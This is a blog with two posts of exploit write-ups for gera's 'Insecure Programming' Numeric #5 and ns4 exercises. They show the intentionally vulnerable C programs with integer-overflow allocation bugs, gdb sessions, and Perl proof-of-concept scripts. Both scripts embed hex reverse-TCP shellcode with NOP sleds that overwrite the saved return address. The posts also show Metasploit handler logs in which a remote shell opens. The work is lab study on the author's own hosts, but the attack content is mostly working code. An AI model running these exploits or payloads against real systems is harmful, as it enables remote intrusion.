Sunday, May 20, 2012

Numeric #5

Here's my solution to gera's Numeric #5 with a few debugging printfs.

/* n5.c                                                      *
 * specially crafted to feed your brain by gera@core-sdi.com */

#include <stdio.h>

int main(int argv, char **argc) {
        char **args,buf[80];
        unsigned int index,count;

        fscanf(stdin, "%u", &count);

        printf("count: 0x%x (%u)\n", count, count);

        printf("count*sizeof(char*): 0x%x (%u)\n", count*sizeof(char*), count*sizeof(char*));

        args = malloc(count*sizeof(char*));

        while (1) {
                fscanf(stdin,"%u %80s", &index, buf);

                printf("index: 0x%x (%u)\n", index, index);

                if (index<count) {
                        args[index] = strdup(buf);
                        printf("in if\n");
                }
                else break;
        }
}

count needs to be large for two reasons. The first one is so that the malloc allocation turns into a small integer and returns a valid memory address into args. and the second one is so that it will be larger than index in the later "if" statement. I settled on "-1073741824" to meet these needs.

(gdb) run < exp
Starting program: /home/dennis/n5/n5 < exp
count: 0xc0000000 (3221225472)
count*sizeof(char*): 0x0 (0)

With these conditions met, the pointer returned by strdup can be stored in all sorts of places such as main's saved eip on the stack.

index: 0x2dfed89f (771676319)

Breakpoint 1, main (argv=1, argc=0xbffffb24) at n5.c:25
25                              printf("in if\n");
(gdb) x/x (args + index)
0xbffffabc:     0x08049850
(gdb) x/x 0x08049850
0x8049850:      0xc9299090
(gdb) info frame
Stack level 0, frame at 0xbffffab8:
 eip = 0x80485ea in main (n5.c:25); saved eip 0x8049850
 called by frame at 0xbffffaf8
 source language c.
 Arglist at 0xbffffab8, args: argv=1, argc=0xbffffb24
 Locals at 0xbffffab8, Previous frame's sp is 0x0
 Saved registers:
  ebp at 0xbffffab8, eip at 0xbffffabc

Here is my proof of concept code.

#!/usr/bin/perl

use warnings;
use strict;

# linux/x86/shell/reverse_tcp, LHOST=192.168.0.4, bad chars "\x00\x0a\x0d\x0c", size 76
my $shellcode =
"\x29\xc9\x83\xe9\xf3\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76" .
"\x0e\x8f\xb6\xc2\x39\x83\xee\xfc\xe2\xf4\xbe\x6d\x91\x7a" .
"\xdc\xdc\xc0\x53\xe9\xee\x4b\xd8\x42\x36\x55\x62\xe7\x76" .
"\x6a\x39\x8b\xd0\xaa\x28\xd3\xd0\x91\xb0\x6e\xdc\xa4\x61" .
"\xdf\xe7\x95\xb0\x6e\xf5\x0f\xb9\xd4\x2f\x74\x35\x3f\xb5" .
"\x0f\xb9\x70\x57\xc2\x39";

# buf is 80 bytes long - \n - \0
my $nops = "\x90" x (78-length($shellcode));

# malloc allocs 0 bytes, returns valid address
print "-1073741824" . "\n";

# x * 4 == bytes to main's saved eip
# (args + x) == bytes to main's saved eip
# saved eip is hardcoded to 0xbffffabc for simplicity
print "771676319 " . $nops . $shellcode . "\n";

# break out of loop
print "-1" . "\n";

And in action

msf  exploit(handler) > exploit

[*] Started reverse handler on 192.168.0.4:4444
[*] Starting the payload handler...
[*] Sending stage (36 bytes) to 192.168.0.38
[*] Command shell session 3 opened (192.168.0.4:4444 -> 192.168.0.38:49415) at 2012-05-20 19:40:58 -0500

id
uid=500(dennis) gid=500(dennis) groups=500(dennis)
pwd
/home/dennis/n5

As a side note, the fscanf function introduced 2 new badchars that required new shellcode generation.



Saturday, May 12, 2012

Numeric: ns4

Here is gera's Insecure Programming ns4.c with a few debugging printfs to help visualize some things.

 /* n4.c                                                      *
 * specially crafted to feed your brain by gera@core-sdi.com */

#include <stdio.h>
#include <string.h>
unsigned int count;

int main(int argv, char **argc) {
        char buf[80],**args;

        fscanf(stdin, "%u", &count);
        printf("unsigned int count = 0x%x (%u)\n", count, count);

        printf("\nunsigned int sizeof(char *) = 0x%x (%u)\n", sizeof(char *), sizeof(char *));

        args = alloca(count*sizeof(char*));
        printf("\nunsigned int count1.*sizeof(char *) = 0x%x (%u)\n", count*sizeof(char*), count*sizeof(char*));

        while (count--) {
                if (!fgets(buf,sizeof buf,stdin)) break;
                *args++=strdup(buf);
        }
}

This differs from ns3 in that args is now on the stack instead of bss. The stack will look something like this:

esp
[alloca 1] --> [strdup 1] --> heap
[alloca 2] --> [strdup 2] --> heap
[alloca 3] --> [strdup 3] --> heap
args --> [alloca 1]
buf[0]
buf[1]
...
buf[79]
saved ebp
saved eip

Notice how args is between alloca's allocation and the good stuff like saved eip.

As before, the math problem in alloca can be overflowed so that count is a very large number while the size allocated is very small; this allows me to write past alloca's allocation into args.

On the loop iteration that overwrites args itself, args will now point  somewhere on the heap. Instead of continuing to overwrite the stack with strdup return addresses, further iterations will now overwrite pieces of the heap section. I wasn't able to figure out anything valuable to overwrite with this method and thought I had reached a dead end.

While inputting a large unsigned int count value, -4 (4294967292), I noticed that alloca returned a pointer to the start of buf:

 (gdb) break 20
Breakpoint 1 at 0x80485b3: file ns4.c, line 20.
(gdb) run
Starting program: /home/dennis/ns4/ns4
-4
unsigned int count = 0xfffffffc (4294967292)

unsigned int sizeof(char *) = 0x4 (4)

unsigned int count*sizeof(char *) = 0xfffffff0 (4294967280)

Breakpoint 1, main (argv=1, argc=0xbffffb24) at ns4.c:20
20              while (count--) {
(gdb) x/x $esp
0xbffffa60:     0x00000001
(gdb) x/x args
0xbffffa60:     0x00000001
(gdb) x/x buf
0xbffffa60:     0x00000001


 I don't have the source code available to the really old version of Linux I've been using for these Gera examples to verify and my pointer math skills are fuzzy, but here are my (uneducated) thoughts on what may be happening.

If I could force alloca to allocate exactly 4 bytes, to hold one address, the stack would look like this:

esp
a40: alloca 1
a44: buf[0]

If I could force alloca to allocate the maximum number of bytes, 2^32 (4294967295), the stack would look exactly the same, because some pointer math within alloca would overflow back to the same spot:

esp
a40: alloca 1
a44: buf[0]

In my example, I'm supplying 4 less bytes than the maximum, the pointer math ends up equaling the start of buf.

This consequence allows the while loop to continue overwriting stack stuff like buf, saved ebp, and saved eip.
 
#!/usr/bin/perl

use warnings;
use strict;

# linux/x86/shell/reverse_tcp, LHOST=192.168.0.4, badchars "\x00\x0a", size 77
my $shellcode =
"\xd9\xd0\xbb\xc1\x92\xca\xd4\xd9\x74\x24\xf4\x5f\x2b\xc9" .
"\xb1\x0d\x31\x5f\x19\x03\x5f\x19\x83\xef\xfc\x23\x67\xfb" .
"\x0f\xf0\xcb\xaf\xc5\xf4\xa1\x29\x42\x71\xd4\x7b\xf2\x16" .
"\x4c\xec\x33\xb0\x73\xe8\xd5\xa8\x62\xac\x7f\x7b\x0c\xad" .
"\xea\x1d\x56\x7e\xba\xb6\xef\x9f\x7f\xf5\x70\x04\x19\xb3" .
"\x7d\x0b\x1a\x76\xfd\x94\xfc";

# buf is 80 bytes long - \n - \0
my $nops = "\x90" x (78-length($shellcode));

print "-4"; # alloca returns buf somehow

# 24 rows of filler
for (my $i = 1; $i < 24; $i++) {
        print "AAAA";
        print "\n"
}

print $nops . $shellcode . "\n";

 In action

msf > use multi/handler
msf  exploit(handler) > set PAYLOAD linux/x86/shell/reverse_tcp
PAYLOAD => linux/x86/shell/reverse_tcp
msf  exploit(handler) > set LHOST 192.168.0.4
LHOST => 192.168.0.4
msf  exploit(handler) > exploit

[*] Started reverse handler on 192.168.0.4:4444
[*] Starting the payload handler...
[*] Sending stage (36 bytes) to 192.168.0.38
[*] Command shell session 1 opened (192.168.0.4:4444 -> 192.168.0.38:49200) at 2012-05-12 12:33:22 -0500

id
uid=500(dennis) gid=500(dennis) groups=500(dennis)
pwd
/home/dennis/ns4